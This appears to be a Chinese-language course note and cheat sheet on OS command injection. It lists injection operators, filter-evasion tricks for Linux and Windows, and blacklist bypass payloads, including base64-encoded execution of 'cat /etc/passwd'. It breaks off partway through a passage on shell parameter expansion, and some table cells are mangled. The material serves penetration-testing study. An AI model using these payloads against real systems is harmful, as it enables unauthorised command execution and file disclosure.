检测基本操作系统命令注入漏洞的过程与利用此类漏洞的过程相同。我们试图通过各种注入方法附加我们的命令。如果命令输出与预期的通常结果不同,则我们已成功利用该漏洞。对于更高级的命令注入漏洞,情况可能并非如此,因为我们可能会利用各种模糊方法或代码审查来识别潜在的命令注入弱点。然后,我们可以逐步构建我们的有效载荷,直到我们实现命令注入。
Linux
Filtered Character Bypass
Code | Description |
---|---|
printenv |
Can be used to view all environment variables |
Spaces | |
%09 |
Using tabs instead of spaces |
${IFS} |
Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $() ) |
{ls,-la} |
Commas will be replaced with spaces |
Other Characters | |
${PATH:0:1} |
Will be replaced with / |
${LS_COLORS:10:1} |
Will be replaced with ; |
$(tr '!-}' '"-~'<<<[) |
Shift character by one ([ -> \ ) |
Blacklisted Command Bypass
Code | Description |
---|---|
Character Insertion | |
' or " |
Total must be even |
$@ or \ |
Linux only |
Case Manipulation | |
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") |
Execute command regardless of cases |
$(a="WhOaMi";printf %s "${a,,}") |
Another variation of the technique |
Reversed Commands | |
`echo ‘whoami’ | rev` |
$(rev<<<'imaohw') |
Execute reversed command |
Encoded Commands | |
`echo -n ‘cat /etc/passwd | grep 33’ |
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) |
Execute b64 encoded string |
Windows
Filtered Character Bypass
Code | Description |
---|---|
Get-ChildItem Env: |
Can be used to view all environment variables - (PowerShell) |
Spaces | |
%09 |
Using tabs instead of spaces |
%PROGRAMFILES:~10,-5% |
Will be replaced with a space - (CMD) |
$env:PROGRAMFILES[10] |
Will be replaced with a space - (PowerShell) |
Other Characters | |
%HOMEPATH:~0,-17% |
Will be replaced with \ - (CMD) |
$env:HOMEPATH[0] |
Will be replaced with \ - (PowerShell) |
Blacklisted Command Bypass
Code | Description |
---|---|
Character Insertion | |
' or " |
Total must be even |
^ |
Windows only (CMD) |
Case Manipulation | |
WhoAmi |
Simply send the character with odd cases |
Reversed Commands | |
"whoami"[-1..-20] -join '' |
Reverse a string |
iex "$('imaohw'[-1..-20] -join '')" |
Execute reversed command |
Encoded Commands | |
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami')) |
Encode a string with base64 |
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))" |
Execute b64 encoded string |
Command Injection Methods
要将附加命令注入到预期命令中,我们可以使用以下任何运算符:
Injection Operator | Injection Character | URL-Encoded Character | Executed Command |
---|---|---|---|
Semicolon | ; |
%3b |
Both |
New Line | \n |
%0a |
Both |
Background | & |
%26 |
Both (second output generally shown first) |
Pipe | ` | ` | %7c |
AND | && |
%26%26 |
Both (only if first succeeds) |
OR | ` | ` | |
Sub-Shell | ```` | %60%60 |
Both (Linux-only) |
Sub-Shell | $() |
%24%28%29 |
Both (Linux-only) |
注意:唯一的例外可能是分号;,如果使用Windows命令行(CMD)执行命令,则该命令将不起作用,但如果使用Windows PowerShell执行命令,该命令仍将起作用。
Injection Type | Operators |
---|---|
SQL Injection | ' , ; -- /* */ |
Command Injection | ; && |
LDAP Injection | * ( ) & ` |
XPath Injection | ' or and not substring concat count |
OS Command Injection | ; & ` |
Code Injection | ' ; -- /* */ $() ${} #{} %{} ^ |
Directory Traversal/File Path Traversal | ../ ..\\ %00 |
Object Injection | ; & ` |
XQuery Injection | ' ; -- /* */ |
Shellcode Injection | \x \u %u %n |
Header Injection | \n \r\n \t %0d %0a %09 |
Blacklisted Characters
web应用程序可能有一个列入黑名单的字符列表,如果命令中包含这些字符,它将拒绝请求。PHP代码可能如下所示:
$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
if (strpos($_POST['ip'], $character) !== false) {
echo "Invalid input";
}
}
Identifying Blacklisted Character
我们将请求减少到一次一个字符,看看它何时被阻止。
Bypass Blacklisted Spaces
我们会看到,大多数注射经营者确实被列入黑名单。但是,换行符通常不会被列入黑名单,因为有效负载本身可能需要它。我们知道,在Linux和Windows中,换行符都可以用于附加命令,所以让我们尝试将其用作注入运算符:
Using Tabs
使用制表符(%09)而不是空格是一种可行的技术,因为Linux和Windows都接受参数之间带有制表符的命令,并且它们的执行方式相同
%0a
:这表示 ASCII 值为 10 的字符,它是换行符(Line Feed,LF)的 ASCII 值。%09
:这表示 ASCII 值为 9 的字符,它是水平制表符(Tab)的 ASCII 值。
Using $IFS
使用($IFS)Linux环境变量也可以工作,因为它的默认值是一个空格和一个选项卡,可以在命令参数之间工作。因此,如果我们在空格所在的位置使用${IFS},则变量应自动替换为空格,并且我们的命令应该有效。
$IFS
是一个环境变量,在 Unix 和类 Unix 操作系统中使用。它代表 “Internal Field Separator”(内部字段分隔符),用于定义用于分隔字符的字符串。
Using Brace Expansion
还有许多其他方法可以用来绕过空间过滤器。例如,我们可以使用Bash-Brace Expansion功能,该功能会自动在大括号之间的参数之间添加空格,如下所示:
Tanin@htb[/htb]$ {ls,-la}
Bypassing Other Blacklisted Characters
除了注入运算符和空格字符外,一个非常常见的黑名单字符是斜杠(/)或反斜杠(\)字符,因为在Linux或Windows中指定目录是必要的。我们可以使用多种技术来生成我们想要的任何字符,同时避免使用列入黑名单的字符。
Linux
我们可以利用许多技术在有效载荷中设置斜线。我们可以用来替换斜杠(或任何其他字符)的一种技术是通过==Linux环境变量==,就像我们对${IFS}所做的那样。虽然${IFS}被直接替换为空格,但斜杠或分号没有这样的环境变量。然而,这些字符可以在环境变量中使用,并且我们可以指定字符串的开始和长度来完全匹配这个字符。 例如,如果我们查看Linux中的$PATH环境变量,它可能如下所示:
Tanin@htb[/htb]$ echo ${PATH}
/usr/local/bin:/usr/bin:/bin:/usr/games
因此,如果我们从0字符开始,并且只使用长度为1的字符串,那么我们将只使用/字符,我们可以在有效载荷中使用:
Tanin@htb[/htb]$ echo ${PATH:0:1}
/
参数扩展语法是 Shell 编程中一种用于操作和处理变量值的特殊语法。它允许你从变量值中提取子字符串、执行替换操作、计算长度等等。参数扩展可以用于在脚本中处理字符串、变量和命令的输出。
在大多数 Unix-like Shell(如 Bash、Zsh、sh 等)中,有几种常用的参数扩展形式:
${variable}
:用于引用变量的值。例如,${PATH}
表示引用PATH
变量的值。${variable:-default}
:如果变量未定义或为空,则使用默认值。例如,${USERNAME:-guest}
表示如果USERNAME
变量未定义或为空,使用默认值 “guest”。${variable:=default}
:如果变量未定义或为空,则将其设置为默认值。例如,${EDITOR:=nano}
表示如果EDITOR
变量未定义或为空,设置为 “nano”。${variable:offset:length}
:从变量值中提取子字符串。例如,${NAME:0:3}
表示从NAME
变量的值中提取前三个字符。${variable#pattern}
和${variable##pattern}
:从变量值的开头移除匹配的模式。#
会移除最短匹配,##
会移除最长匹配。${variable%pattern}
和${variable%%pattern}
:从变量值的末尾移除匹配的模式。%
会移除最短匹配,%%
会移除最长匹配。- `$